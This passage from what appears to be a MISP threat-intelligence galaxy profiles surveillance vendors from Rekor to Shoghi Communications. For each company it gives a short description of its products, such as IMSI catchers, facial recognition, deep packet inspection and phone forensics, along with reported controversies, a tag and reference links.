Rekor is a developer of license plate recognition (LPR) technology, which can identify and track vehicles in real time, as well as broader data intelligence platforms that integrate with surveillance networks. Rekor's tools are capable of analyzing large amounts of data, identifying patterns, and providing actionable insights for law enforcement, government agencies, and private organizations.

Rekor also runs the Rekor Public Safety Network, an opt-in program aggregating vehicle location data from customers across the United States.

The tag is: *misp-galaxy:surveillance-vendor="Rekor"*

Table 17956. Table References

Links
https://www.themarshallproject.org/2024/11/12/protest-surveillance-technologies
https://www.forbes.com/sites/thomasbrewster/2023/07/17/license-plate-reader-ai-criminal/
https://www.stamfordadvocate.com/news/article/Crime-fighting-tool-or-mass-surveillance-17277666.php
https://www.newsobserver.com/news/state/north-carolina/article287381160.html
https://www.businesswire.com/news/home/20250121987343/en/Rekor-Systems-Taps-SoundHound-AI-to-Revolutionize-Emergency-Vehicle-Technology-With-First-Of-Its-Kind-Audio-Visual-AI
https://docs.rekor.ai/scout/getting-started/countries-and-regions-supported
https://nocamels.com/2021/08/rekor-acquire-israel-ai-mobility-waycare/
https://www.rekor.ai/post/rekor-systems-completes-acquisition-of-southern-traffic-services-sts
https://fintel.io/so/us/rekr

Reliance Jio

Reliance Jio is an Indian telecommunications and digital services company, and a subsidiary of Reliance Industries Limited. JioThings Limited, a subsidiary of Jio Platforms, has partnered with

Indian Railways to deploy AI-powered cameras at Pune station. These cameras are capable of recognizing "blacklisted" individuals and analyzing visitor data.

Israeli company Septier has provided interception and surveillance technologies to Reliance Jio. These systems enable the extraction of voice, messaging, web browsing, and email data, with the ability to also leverage AI for data analysis.

Reliance Jio has also partnered with Guavus, a subsidiary of the French defense company Thales, to employ artificial intelligence for analyzing the vast amounts of data generated daily by its user base.

The tag is: *misp-galaxy:surveillance-vendor="Reliance Jio"*

Table 17957. Table References

Links
https://indianexpress.com/article/cities/pune/station-ai-powered-cameras-ability-to-recognise-blacklisted-individuals-9229109/
https://indianexpress.com/article/cities/pune/facial-recognition-new-security-tech-pune-railway-station-indu-rani-dubey-9568551/
https://www.ft.com/content/adf1cbae-4217-4d7d-9271-8bec41a56fb4
https://www.businessinsider.in/reliance-jio-is-sharing-its-data-with-a-french-defence-giant-to-boost-its-marketing/articleshow/70787216.cms
https://www.telcotitans.com/vodafonewatch/vi-embroiled-in-indian-security-controversy/7102.article

RemoteDesk

RemoteDesk is an AI-powered remote workforce surveillance platform that combines facial recognition with continuous activity monitoring. The system uses AI-driven face scans to verify worker presence and identity, while also tracking keystrokes, messages, and behavioral patterns. It captures automated screenshots and webcam recordings, preserving them as “evidence” for each employee. In practice, RemoteDesk constantly monitors the screen and camera, scanning and recording for "suspicious" activity, tracking nearly everything a worker types, says, does, or looks at.

The tag is: *misp-galaxy:surveillance-vendor="RemoteDesk"*

Table 17958. Table References

Links
https://www.theguardian.com/technology/2022/apr/27/remote-work-software-home-surveillance-computer-monitoring-pandemic
https://world.hey.com/dhh/remote-work-surveillance-software-is-vile-ad46e58f
https://www.telegraph.co.uk/news/2024/06/18/wfh-shirker-bossware-wells-fargo-mous-jiggler/

Resonant

Resonant Ltd. is a technology provider in China whose tools have been used for surveillance purposes, particularly in regions like East Turkistan (renamed Xinjiang by China.) The company supplies forensic tools capable of extracting extensive data from smartphones, including passwords, call histories, messages, multimedia files, and app data. These tools are used by Chinese authorities to monitor individuals' digital activities, including accessing data from international platforms like WhatsApp, Facebook, and Twitter.

Resonant Ltd. was formerly known as Ryan Technologies, a US-based company specializing in distributing forensic, security, and law enforcement products in China. It rebranded as Resonant Ltd. and operates through subsidiaries like Beijing Ryan Wende Science and Technology and Beijing Ryan Huade Science and Technology in China.

It has partnered with numerous US-based and international companies, including Thermo Fisher Scientific, Logicube, and REI (Research Electronics International), to distribute their products in Chin

The tag is: *misp-galaxy:surveillance-vendor="Resonant"*

Table 17959. Table References

Links
https://www.reuters.com/article/us-china-monitoring-insight/from-laboratory-in-far-west-chinas-surveillance-state-spreads-quietly-idUSKBN1KZ0R3/
https://www.recordedfuture.com/research/the-role-of-us-technology-in-china-public-security-system

Reveal Media

Reveal Media is a UK-based surveillance technology company specializing in body-worn cameras, including models equipped with live facial recognition capabilities. Their devices are used by several UK police forces, including British Transport Police, South Wales Police, and Leicestershire Police, offering real-time biometric identification.

The K-Series cameras utilize features like "Face Match," which allows the device to compare faces captured during patrols against a pre-configured watchlist. If a match is found, the system can trigger alerts or initiate specific actions, such as recording or streaming. Reveal Media’s DEMS 360 evidence management software includes a "Face Search" function. This tool enables users to search for matching faces within uploaded images and videos.

The tag is: *misp-galaxy:surveillance-vendor="Reveal Media"*

Table 17960. Table References

Links
https://www.corrections1.com/investigations/body-worn-cameras-for-nyc-correction-officers-to-remain-offline-at-least-10-more-weeks

https://www.cbc.ca/radio/spark/tech-in-policing-1.4833189/police-body-cameras-are-hackable-warns-security-analyst-1.4833191
https://securityjournaluk.com/facial-recognition-body-worn-cameras/
https://libertyinvestigates.org.uk/articles/police-across-uk-equipped-with-live-facial-recognition-bodycams/
https://www.securityinformed.com/news/co-7894-ga.10107.html
https://www.revealmedia.co.uk/products/k-series
https://www.revealmedia.com/

Revector

Revector is a UK-based company that develops mobile surveillance products, including IMSI catcher technology. Revector's Detector IMSI Catcher UAV 3.0 is a compact payload for UAVs that enables the detection, tracking, and control of 2G, 3G, and 4G mobile phones. Their IMSI catcher technology also comes in covert, portable, and vehicle-mounted configurations. In addition to IMSI catchers, Revector develops Wi-Fi catchers that identify devices by detecting their interactions with Wi-Fi networks.

According to the company's official website, Revector's surveillance technologies have been deployed in over 100 countries worldwide since 2002.

The tag is: *misp-galaxy:surveillance-vendor="Revector"*

Table 17961. Table References

Links
https://www.revector.com/security-and-intelligence/
https://www.defenseadvancement.com/company/revector/
https://www.unmannedsystemstechnology.com/company/revector/revector-detector-imsi-catcher-uav-3-0/

Roboteam

Roboteam is an Israeli company specializing in the development and manufacturing of tactical ground robotic systems, primarily used for surveillance in urban environments. These systems are designed for a variety of applications, including military and law enforcement. Its products, such as Probot and MTGR (Micro Tactical Ground Robot), are equipped with high-resolution cameras, thermal imaging and other sensors to perform surveillance and provide the data to its operators, who can make real-time decisions based on the intelligence gathered. Elbit Systems is one of its shareholders. In June, 2024, Roboteam entered an agreement with Psagot, a prominent investment management firm based in Israel, to buy all of the company's shares.

The tag is: *misp-galaxy:surveillance-vendor="Roboteam"*

Table 17962. Table References

Links
https://breakingdefense.com/2024/05/us-marines-buy-200-tactical-robots-from-israels-roboteam-amid-all-time-high-demand-ceo/
https://en.globes.co.il/en/article-psagot-signs-mou-to-buy-military-robot-co-roboteam-1001481109
https://www.timesofisrael.com/israel-us-firm-roboteam-to-sell-military-robots-to-italy/

Robotican

Robotican develops unmanned autonomous robots. One of its primary products, Rooster, is a versatile robotic drone utilized by the Israeli military in Gaza for intelligence gathering and surveillance. Additionally, it has gained adoption by various militaries worldwide for similar applications. Its Gallo system, designed for reconnaissance in confined spaces such as tunnels and buildings, has been delivered to the U.S. Special Operations Command (USSOCOM). It features advanced MESH communication for simultaneous operation of multiple units in communication-denied environments.

The tag is: *misp-galaxy:surveillance-vendor="Robotican"*

Table 17963. Table References

Links
https://kansascitydefender.com/world/ai-genocide-gaza-urgent-call-action-against-tech-tyranny/
https://www.israeldefense.co.il/en/node/60981
https://www.defenseadvancement.com/news/hybrid-unmanned-platform-delivered-to-ussocom/

Rohde & Schwarz

Rohde & Schwarz is a prominent German electronics company established in 1933. In 1996, the company introduced its first International Mobile Subscriber Identity (IMSI) catcher, a device used to intercept mobile phone communications by mimicking a legitimate cell tower to capture IMSI numbers and other data from nearby devices. Since then, it has continued to develop advanced surveillance tools, including systems capable of intercepting calls, identifying devices through their International Mobile Equipment Identity (IMEI), and supporting government and defense agencies with SIGINT (Signals Intelligence) and electronic warfare products.

The tag is: *misp-galaxy:surveillance-vendor="Rohde & Schwarz"*

Table 17964. Table References

Links
https://www.rferl.org/a/german-tech-firm-s-turkmen-ties-trigger-surveillance-concerns/29759911.html
https://www.asdnews.com/news/aviation/2024/12/12/malaysia-goes-digital-with-rohde-schwarz-stateoftheart-atc-solutions-kl-international-airport

https://worldwide.espacenet.com/publicationDetails/biblio?CC=EP&NR=1051053&KC=&FT=E&locale=en_EP
https://english.nv.ua/nation/russia-receives-western-technology-for-electronic-warfare-via-china-50455797.html
https://developingtelecoms.com/telecom-technology/wireless-networks/11065-china-mnos-select-rohde-schwarz-for-5g-network-optimization.html?utm_source=related_articles&utm_medium=website&utm_campaign=related_articles_click

Root Networks

Root Networks (RN) is an Israeli company that developed systems capable of infiltrating local area networks (LANs) and intercepting communications without requiring cooperation from telecom operators. This capability enables intelligence services to conduct long-term surveillance and execute Man-in-the-Middle attacks to access encrypted communications. Captured data is redirected via VPN tunnels for detailed analysis.

RN's technology exploits vulnerabilities in router firmware to gain remote access. By mapping and infiltrating vulnerable routers, the company establishes its own interception network, independent of traditional operators. This network allows RN to monitor target devices, such as smartphones and computers, and deploy spyware for further surveillance.

Root Networks was founded by Avi Yarim, a former Rayzone Group specialist, and was led by CTO Shahar Mor, an ex-cybersecurity researcher at Verint. The company shares investors with Rayzone Group, including prominent figures like Yohai Ben-Zakai, a former deputy commander of Unit 8200, and businessman Eran Reshef.

The tag is: *misp-galaxy:surveillance-vendor="Root Networks"*

Table 17965. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2019/06/05/root-networks-markets-operator-free-interceptions,108359989-art
https://www.intelligenceonline.com/surveillance—interception/2021/01/21/rayzone-s-interception-modus-operandi-exposed-by-legal-cases,109636393-art
https://finder.startupnationcentral.org/company_page/root-networks?section=team

Rostelecom

Rostelecom is one of the largest providers of Russia's telecommunications infrastructure. It offers services such as broadband internet, mobile telephony, IPTV, and cybersecurity solutions. As a state-owned enterprise, Rostelecom primarily services government sectors. Apart from cloud-based video surveillance systems, the company also deploys Deep Packet Inspection (DPI) technology.

Rostelecom is a SORM (System for Operative Investigative Activities) provider, facilitating state

surveillance by enabling Russian authorities to monitor communications.

The tag is: *misp-galaxy:surveillance-vendor="Rostelecom"*

Table 17966. Table References

Links
https://www.laprensani.com/2025/04/25/english/3464946-nicaraguas-dictatorship-will-work-with-rostelecom-a-u-s-sanctioned-russian-cybersecurity-firm
https://www.themoscowtimes.com/2023/08/17/mass-survellience-in-russia-expands-rapidly-since-ukraine-invasion-mt-russian-a82151
https://www.biometricupdate.com/202502/russia-spends-1b-on-video-surveillance-purchases
https://slate.com/technology/2022/04/russia-rostec-rostelecom-internet-national-security.html
https://dgap.org/en/research/publications/impact-and-limits-sanctions-russias-telecoms-industry
https://www.theverge.com/2014/1/28/5353466/russia-turns-sochi-into-a-surveillance-state-ahead-of-winter-olympics

RT LTA Systems

RT LTA Systems Ltd. is an Israeli company that designs and builds tethered surveillance balloons called SkyStar aerostats. Besides making the balloons, the firm trains operators and supplies spare parts and technical help. It is used by the Israeli police and military, and was deployed by the Municipality of Jerusalem to spot protests. The company's founder and CEO, Rami Shmueli, previously served as the head of the aerostats department in the IDF's 8200 unit. The company's American subsidiary is RT Aerostat Systems, Inc., which is based in Texas.

The tag is: *misp-galaxy:surveillance-vendor="RT LTA Systems"*

Table 17967. Table References

Links
https://www.defensa.com/centro-america/cuatro-globos-vigilancia-skystar-para-pais-centroamerica
https://www.jpost.com/israel-news/us-army-approves-israeli-surveillance-balloon-for-purchase-394405
https://en.globes.co.il/en/article-israeli-surveillance-balloon-protects-world-leaders-1001085426
https://www.defensa.com/colombia/globo-aerostatico-skystar-180-vigilancia-eventos-masivos
https://nocamels.com/2017/11/skystar-surveillance-balloon-protects-pope-trump/
https://www.epicos.com/article/477294/dsei-2019-rt-lta-announces-improved-capabilities-popular-skystartm-aerostat-family
https://www.suasnews.com/2019/12/rt-lta-inaugurates-new-headquarters/

S2T Unlocking Cyberspace

S2T provides AI-powered surveillance technologies. According to Haaretz: "S2T was founded in

2002 by entrepreneur Ori Sasson. It claims to have dozens of clients across five continents and employs people from intelligence agencies in the U.K., the U.S., Russia and Israel, as well as local law enforcement in the Middle East, South and Central America and Asia."

According to an investigation by Forbidden Stories, the company KS Process and Software Ltd., shares at least one address and phone number with S2T.

The tag is: *misp-galaxy:surveillance-vendor="S2T Unlocking Cyberspace"*

Table 17968. Table References

Links
https://www.haaretz.com/israel-news/security-aviation/2023-02-28/ty-article/fake-friends-leak-reveals-israeli-firms-turning-social-media-into-spy-tech/00000186-7f75-d079-ade7-ff7507970000
https://forbiddenstories.org/osint-s2t-unlocking-cyberspace-journalists-activists/

SafeGraph

SafeGraph is a data broker known for collecting and selling aggregated location data derived from mobile apps. The company has faced significant criticism for selling data related to visits to sensitive locations, such as abortion clinics, including Planned Parenthood facilities. This data, marketed under its "Patterns" product, tracks where visitors come from, how long they stay, and where they go afterward.

In addition to its commercial ventures, SafeGraph has expanded its operations into government and military contracts. Notably, it secured a contract with the U.S. Air Force to provide data for purposes such as analyzing human activity for military operations. The company also markets its data for monitoring "adversaries" and supporting intelligence initiatives.

SafeGraph’s investors include In-Q-Tel, the VC arm of the CIA, Peter Thiel and the former head of Saudi intelligence.

The tag is: *misp-galaxy:surveillance-vendor="SafeGraph"*

Table 17969. Table References

Links
https://www.wired.com/story/safegraph-us-air-force-location-data/
https://www.govtech.com/health/cell-data-surveillance-used-to-enforce-county-pandemic-rules
https://www.techpolicy.press/data-brokers-police-and-the-criminalization-of-abortion/
https://themarkup.org/privacy/2021/12/06/the-popular-family-safety-app-life360-is-selling-precise-location-data-on-its-tens-of-millions-of-user
https://www.vice.com/en/article/google-bans-safegraph-former-saudi-intelligence/
https://www.prnewswire.com/news-releases/safegraph-raises-45m-series-b-to-become-the-ultimate-destination-for-physical-places-data-301247730.html
https://www.safegraph.com/partners

safeXai

safeXai is the entity that has quietly resumed the operations of Banjo, a digital surveillance company whose founder, Damien Patton, was a former Ku Klux Klan member who'd participated in a 1990 drive-by shooting of a synagogue near Nashville, Tennessee. Banjo developed real-time surveillance technology that monitored social media, traffic cameras, satellites, and other sources to detect and report on events as they unfolded. In Utah, Banjo's technology was used by law enforcement agencies.

The tag is: *misp-galaxy:surveillance-vendor="safeXai"*

Table 17970. Table References

Links
https://onezero.medium.com/banjo-quietly-rebranded-itself-following-report-on-former-ceos-kkk-past-11223803c19d
https://www.sltrib.com/news/politics/2020/03/08/utah-company-is-building/

SalvationDATA

SalvationDATA, which also operates under the name XLY Technology, is a Chinese company that develops digital forensics and data recovery technologies, providing tools primarily for law enforcement and intelligence agencies. The company's products are able to extract, analyze, and recover data from various digital devices, including mobile phones, computers, and storage systems.

SalvationDATA has established partnerships with security and intelligence agencies in multiple countries, including Myanmar, where it has provided forensic systems to assist in data analysis and surveillance operations.

The tag is: *misp-galaxy:surveillance-vendor="SalvationDATA"*

Table 17971. Table References

Links
https://www.griffith.edu.au/data/assets/pdf_file/0028/1774531/Selth-Post-coup-intelligence-in-Myanmar.pdf
https://www.intelligenceonline.com/surveillance—interception/2021/06/30/salvation-data-recovers-data-for-china-s-security-allies,109676690-art
https://blog.salvationdata.com/2016/10/11/news-salvationdata-and-delegates-from-pakistan-exchanged-notes-on-digital-forensics/
https://blog.salvationdata.com/2019/09/10/news-myanmar-forensic-system-integrator-visited-salvationdata-rd-center-and-confirm-the-partnership-in-july-of-2019/

https://www.intelligenceonline.com/surveillance—interception/2022/11/08/credence-security-expands-foothold-in-forensics-tech-hungry-pakistan,109842772-art

Sandvine Inc

Sandvine was originally founded in 2001 as Procera Networks, a company that developed deep packet inspection (DPI) technology for network. Procera Networks was a U.S.-based company that developed deep packet inspection (DPI) technology, which can be used for internet traffic management, censorship, and surveillance purposes. Procera's technology was also allegedly used for surveillance and censorship purposes in countries with authoritarian regimes, including Bahrain, Kuwait, Turkey, Syria and Egypt. Sandvine was acquired by Francisco Partners' affiliate and merged with Procera Networks. In February, 2024, the U.S. Commerce Department (DOC) added Sandvine to its Entity List, restricting its access to U.S. technology, specifically because it provided Egypt with surveillance technology used to target activists and dissidents. The DOC removed Sandvine from the Entity List in October, 2024, after the company promised to "undergo transformative changes."

The company has since rebranded to AppLogic Networks.

The tag is: *misp-galaxy:surveillance-vendor="Sandvine Inc"*

Table 17972. Table References

Links
https://www.bloomberg.com/news/articles/2020-10-08/sandvine-s-tools-used-for-web-censoring-in-more-than-a-dozen-nations
https://www.wired.com/story/sandvine-us-sanctions-egypt-internet-censorship/
https://www.state.gov/the-united-states-adds-sandvine-to-the-entity-list-for-enabling-human-rights-abuses/
https://www.accessnow.org/press-release/us-blocklists-sandvine-for-digital-repression-in-egypt/
https://www.franciscopartners.com/investments/sandvine-procera
https://kitchener.ctvnews.ca/removed-from-u-s-blacklist-waterloo-ont-tech-company-promises-major-changes-watchdogs-remain-hesitant-1.7084696
https://www.accessnow.org/francisco-partners-owned-sandvine-profits-from-shutdowns-and-oppression-in-belarus/

SCL Group

The SCL Group, formerly known as Strategic Communication Laboratories, gained notoriety primarily through its subsidiary, Cambridge Analytica. SCL Group and Cambridge Analytica were involved in various activities related to data collection, unauthorized access to personal data, and influence/manipulation campaigns. The data was collected from Facebook through an app called thisisyourdigitallife.

The tag is: *misp-galaxy:surveillance-vendor="SCL Group"*

Table 17973. Table References

Links
https://www.theguardian.com/news/2018/mar/17/cambridge-analytica-facebook-influence-us-election
https://www.aljazeera.com/opinions/2018/3/22/politics-in-the-digital-age-cambridge-analytica-in-kenya
https://www.washingtonpost.com/world/asia_pacific/whistleblower-claims-cambridge-analyticas-partners-in-india-worked-on-elections-raising-privacy-fears/2018/03/28/1168c04c-328a-11e8-b6bd-0084a1666987_story.html
https://advox.globalvoices.org/2019/08/06/netflixs-the-great-hack-highlights-cambridge-analyticas-role-in-trinidad-tobago-elections/
https://www.scmp.com/news/asia/southeast-asia/article/2140303/how-cambridge-analyticas-parent-company-helped-man-action

Scylla

Scylla is an AI-powered surveillance system that claims to be capable of detecting and classifying human features and behaviors in real time. It has been tested by the U.S. Department of Defense at military installations.

Scylla's surveillance products are used by a variety of industries beyond the military. These include private security companies, corporate facilities, retail businesses, educational institutions, and public venues like stadiums and airports.

The tag is: *misp-galaxy:surveillance-vendor="Scylla"*

Table 17974. Table References

Links
https://www.defense.gov/News/News-Stories/Article/Article/3946607/defense-department-tests-ai-software-advances-to-improve-physical-security-post/
https://www.forbes.com/sites/elizabethmacbride/2019/03/01/could-this-german-threat-detection-company-become-a-1b-business/
https://executivegov.com/2024/11/dod-ai-algorithm-scylla/
https://news.bloomberglaw.com/privacy-and-data-security/olympics-ai-security-stokes-backlash-over-mass-surveillance

SearchInform

As a SORM provider, SearchInform enables the Russian authorities to monitor, intercept, and analyze communications data including phone conversations, emails, and text messages transmitted across Russian networks. The company possesses special authorization to sell and implement SORM surveillance technology under license from the Federal Security Service (FSB) of Russia.

In 2019, the company announced the development of ProfileCenter, a psychological surveillance software that monitors and analyzes all employee communications in real-time. The system builds psychological profiles of employees based on their communications, assessing motivation levels, ideological beliefs, and loyalty metrics. The technology can detect criticism of a company, and monitors emails, social media platforms, and messaging services.

Founded in 1995 as SoftInform, it rebranded to SearchInform in 2009 and is headquartered in Moscow.

The tag is: *misp-galaxy:surveillance-vendor="SearchInform"*

Table 17975. Table References

Links
https://dialogo-americas.com/articles/how-russian-surveillance-tech-is-reshaping-latin-america/
https://searchinform.com/partners/searchinform-partners/
https://parsers.vc/startup/searchinform.com/
https://www.intelligenceonline.com/surveillance—interception/2019/02/20/searchinform-plans-to-export-employee-monitoring-software,108345633-art
https://itweb.africa/article/russias-searchinform-looks-to-grab-hold-of-africas-it-security-space/KzQenvjVNazvZd2r
https://african.business/2023/12/apo-newsfeed/searchinform-has-significantly-expanded-its-presence-in-africa-and-localized-its-flagship-solution-into-french

Semptian

Semptian, a Chinese company, manufactures surveillance tools used by authoritarian governments across the Middle East and North Africa. These tools, including the Aegis system, Owlet, Falcon, and HawkEye, enable extensive monitoring of citizens' digital activities and communications. Its technologies are also capable of intercepting emails, such as Gmail (through a tool called Gmail Retriever), and analyzing vast amounts of data for surveillance purposes. They also develop GSM geo-location tools and the POMS (Public Opinion Monitoring System) platform for social media monitoring.

Semptian collaborates with American companies like IBM and Xilinx to enhance its surveillance capabilities, despite concerns over human rights abuses in the regions where its technology is deployed. The company’s devices intercept phone calls, texts, and internet usage.

Headquartered in Shenzhen, the company is led by its founder Chen Longsen, also known as George Chen, who previously served as the director of the local branch of the American cryptography and computer security company SafeNet.

The tag is: *misp-galaxy:surveillance-vendor="Semptian"*

Table 17976. Table References

Links

https://apjjf.org/2019/15/gallagher
https://www.fairplanet.org/editors-pick/u-s-tech-giants-collaborate-with-chinese-surveillance-company/
https://www.aljazeera.com/news/2017/4/10/exclusive-spyware-firms-in-breach-of-global-sanctions
https://theintercept.com/2019/07/12/semptian-surveillance-mena-openpower/
https://www.intelligenceonline.com/government-intelligence/2012/10/17/semptian-logs-on-to-gmail,107928018-art

Senao Networks

Senao Networks, based in Taiwan, is a developer of AI and cloud based surveillance products. The company claims to combine edge-to-cloud AI processing with advanced contextual recognition capabilities, as well as the ability to detect and classify people and vehicles with detailed attributes like clothing color, facial recognition, and license plate identification.

The tag is: *misp-galaxy:surveillance-vendor="Senao Networks"*

Table 17977. Table References

Links
https://www.prnewswire.com/news-releases/senao-networks-unveils-ai-powered-4k-cameras-with-dual-sensor-technology-for-seamless-panoramic-surveillance-302379607.html
https://www.rochesterfirst.com/business/press-releases/cision/20250406SF58550/senao-networks-transforms-security-monitoring-with-context-aware-ai-intelligence/
https://www.senaonetworks.com/en/solutions/cloud-ai-surveillance/

SenseNets

SenseNets, a Chinese company that provides facial recognition software and video-based crowd analysis, is heavily involved in surveillance activities, particularly in East Turkistan (renamed Xinjiang by China.) The company operates a massive database that has been used to monitor the Uyghur population.

In 2019, Victor Gevers, a Dutch security researcher, discovered that SenseNets had left a database exposed online without authentication. This database contained sensitive personal information on over 2.5 million individuals, including names, ID card details, home addresses, photos, and GPS tracking data. The system actively recorded millions of GPS coordinates daily, tracking individuals' movements across locations such as mosques, hotels, police stations, and restaurants. The database also included information on public camera locations, suggesting integration with government surveillance infrastructure.

SenseNets is part of China’s Skynet Project, a national mass surveillance system. The company also has connections to prominent AI researchers and institutions, such as the Chinese University of Hong Kong, as well as other major Chinese surveillance firms like SenseTime and Hikvision.

The tag is: *misp-galaxy:surveillance-vendor="SenseNets"*

Table 17978. Table References

Links
https://www.zdnet.com/article/chinese-company-leaves-muslim-tracking-facial-recognition-database-exposed-online/
https://www.ft.com/content/9ed9362e-31f7-11e9-bb0c-42459962a812
https://www.scmp.com/tech/science-research/article/3005733/what-you-need-know-about-sensenets-facial-recognition-firm
https://www.theguardian.com/world/2019/feb/18/chinese-surveillance-company-tracking-25m-xinjiang-residents
https://www.eff.org/deeplinks/2019/03/massive-database-leak-gives-us-window-chinas-digital-surveillance-state

SenseTime

SenseTime is a leading Chinese AI company specializing in facial recognition and computer vision technologies. Their advanced algorithms enable real-time detection of faces and objects. It has been under scrutiny for its role in Uyghur surveillance.

The tag is: *misp-galaxy:surveillance-vendor="SenseTime"*

Table 17979. Table References

Links
https://www.theguardian.com/world/2022/jan/06/china-sensetime-facial-recognition-uyghur-surveillance-us-sanctions
https://bhr.stern.nyu.edu/toolkit/silverlake-in-china-investor-responsibility-for-state-surveillance-in-xinjiang/
https://www.washingtonpost.com/technology/2021/12/10/us-investment-ban-sensetime/
https://thehustle.co/facial-recognition-company-sensetime-worth-4-5-billion
https://discovery.hgdata.com/product/sensetime
https://www.aspi.org.au/report/mapping-more-chinas-tech-giants
https://www.nytimes.com/2019/04/14/technology/china-surveillance-artificial-intelligence-racial-profiling.html
https://www.intelligenceonline.com/surveillance—interception/2021/06/25/alpha-intelligence-capital-invests-in-european-and-chinese-cyber-intelligence,109675683-art

Senstar Technologies Corp

Formerly known as formerly known as Magal Security Systems Ltd, Senstar Technologies incorporates analytics software and fiber optic sensing into a suite of surveillance solutions, enabling functionalities like facial recognition, license plate recognition, object tracking, and behavior analysis. They have reportedly sold surveillance equipment to over 100 countries

worldwide. In 2021, the company completed the sale of their Integration Solution Division to Aeronautics Ltd., a subsidiary of Israeli defense technology company Rafael Advanced Defense Systems Ltd. As part of the acquisition, Aeronautics acquired Senstar's facility in Yehud, Israel. They have development and manufacturing facilities located in Canada, and sales and support offices in the US, EMEA, China, and APAC regions.

The tag is: *misp-galaxy:surveillance-vendor="Senstar Technologies Corp"*

Table 17980. Table References

Links
https://www.israeldefense.co.il/en/node/44670
https://senstar.com/wp-content/uploads/Senstar-Technologies-SEC-Filing-20211231-Form-20-F.pdf

Sentrillion

Sentrillion is a U.S. systems integrator that develops, installs, and maintains integrated surveillance technologies primarily for border control. Its portfolio includes video and audio surveillance, intrusion-detection sensors, facial recognition software and perimeter barriers such as gates and bollards. The company has been a technology partner to U.S. Customs and Border Protection (CBP) for more than 15 years, supplying and servicing surveillance networks along land borders, seaports, and airports.

In 2024, CBP has awarded Sentrillion nine contracts totaling $36.7m to expand camera-based monitoring and biometric verification systems.

The tag is: *misp-galaxy:surveillance-vendor="Sentrillion"*

Table 17981. Table References

Links
https://www.biometricupdate.com/202404/cbp-awards-sentrillion-11-7m-for-surveillance-systems
https://static1.squarespace.com/static/62c3198c117dd661bd99eb3a/t/68768c8307b40445442f640b/1752599684551/JFL_TechBorder_factsheet_6.pdf
https://www.theguardian.com/us-news/2025/jul/15/trump-tax-bill-border-immigration
https://govtribe.com/vendors/sentrillion-corporation-08ck9

Sergek

Sergek is a surveillance and smart city platform developed in Kazakhstan. It integrates a network of cameras and sensors with data analysis tools to monitor people, traffic and assist law enforcement. The system is capable of facial recognition, tracking vehicles, and analyzing human mobility patterns in real time. Its adoption has drawn international attention, with countries like Indonesia exploring its capabilities for potential implementation for surveillance purposes.

The management of Sergek's surveillance network in Astana has been handed over to a UAE-based company, Presight, which supports the UAE's controversial mass surveillance activities.

The tag is: *misp-galaxy:surveillance-vendor="Sergek"*

Table 17982. Table References

Links
https://foreignpolicy.com/2019/11/15/huawei-xinjiang-kazakhstan-uzbekistan-china-surveillance-state-eyes-central-asia/
https://astanatimes.com/2024/03/president-of-indonesia-explores-kazakhstans-sergek-transport-platform/
https://kaztag.info/en/news/about-900-more-surveillance-cameras-and-sergek-will-be-installed-in-bostandyk-district-of-almaty
https://en.orda.kz/uae-company-to-oversee-astanas-sergek-surveillance-network-5076/
https://www.marketscreener.com/quote/stock/FREEDOM-HOLDING-CORP-13908408/news/Freedom-Holding-Corp-entered-into-an-agreement-to-acquire-Sergek-Group-42610952/

ShadowDragon

ShadowDragon is a company that develops surveillance software that can identify aliases and collect personal data from various online sources in minutes. It is known to be used by the Polk County Sheriff's Department in Des Moines, Iowa as well as Michigan police departments, the Massachusetts State Police and other police departments throughout the U.S. It is also a contractor for the US government, including for the Immigration and Customs Enforcement (ICE.)

Its SocialNet tool enables government agencies to access and analyze publicly available data from over 200 websites, apps, and social networks. These include major platforms like Meta (Facebook, Instagram, Threads), TikTok, Telegram, Bluesky, Discord, and niche sites such as BeReal, FetLife, and Chess.com. SocialNet allows clients to input various identifiers (e.g., email, alias, or phone number) to uncover connections, map activities, and track individuals' digital footprints. The tool is marketed as capable of identifying relationships, interests, and physical locations. Its other products include OIMonitor, MalNet, Spotter, and Horizon.

The tag is: *misp-galaxy:surveillance-vendor="ShadowDragon"*

Table 17983. Table References

Links
https://jacobin.com/2023/09/shadowdragon-osint-internet-surveillance-ice-us-government
https://theintercept.com/2021/09/21/surveillance-social-media-police-microsoft-shadowdragon-kaseware/
https://www.axios.com/local/des-moines/2024/04/17/surveillance-social-media-sheriff-polk-shadowdragon
https://www.nbcboston.com/investigations/shadowdragon-mass-police-get-new-social-media-monitoring-tool/2424128/

https://www.criminallegalnews.org/news/2021/nov/15/shadowdragon-inside-social-media-surveillance-software-can-watch-your-every-move/
https://nysfocus.com/2023/01/13/state-police-social-media-surveillance-including-dataminr-shadowdragon-geofeedia
https://www.404media.co/the-200-sites-an-ice-surveillance-contractor-is-monitoring/
https://www.404media.co/mozilla-foundation-calls-on-tech-industry-to-block-ice-contractor/

Shield AI

Shield AI develops AI-powered drones for intelligence gathering and surveillance in military operations. Its products include battlefield drone swarms, unmanned aircraft like the V-BAT, and advanced AI systems such as Hivemind, which enable autonomous mission execution across air, land, and sea with intelligence, surveillance, and reconnaissance (ISR) capabilities. In July 2024, Shield AI's V-BAT secured a $198 million contract with the U.S. Coast Guard. It has also partnered with companies like Haivision and Sentient Vision Systems to enhance full-motion video AI object detection and wide-area surveillance with ViDAR technology.

Israel uses its self-piloting drones in Gaza.

The tag is: *misp-galaxy:surveillance-vendor="Shield AI"*

Table 17984. Table References

Links
https://www.politico.com/news/2023/11/25/israel-hamas-war-ai-weapons-00128550
https://www.haivision.com/about/press-releases/collaboration-with-shieldai-to-bring-together-full-motion-video/
https://shield.ai/sentient-tracker/
https://shield.ai/shield-ai-collaborates-with-sentient-vision-systems-to-offer-ai-enabled-wide-area-motion-imagery-capability/
https://www.commondreams.org/news/israel-drones-gaza
https://afsc.org/gaza-genocide-companies

Shoghi Communications

Shoghi, an Indian cyberintelligence firm founded by Harish Gupta, rose to prominence in the late 2000s under the leadership of Anant Bindal, a businessman from a powerful family in India. The company secured a large $200 million contract to supply India's external intelligence agency, the Research and Analysis Wing (R&AW), with advanced interception technologies, including IMSI-catchers and COMINT tools.

The company became internationally recognized when it was named in WikiLeaks' "Spy Files" as part of a global surveillance industry catering to governments and intelligence agencies.

Bindal later relocated to the UAE, where he founded Stratign, a Dubai-based firm that mirrors

Shoghi's model of distributing and integrating interception solutions sourced from other companies.

The tag is: *misp-galaxy:surveillance-vendor="Shoghi Communications"*

Table 17985. Table References

Links
https://www.business-standard.com/article/companies/the-two-men-behind-india-s-secret-surveillance-industry-111120300053_1.html
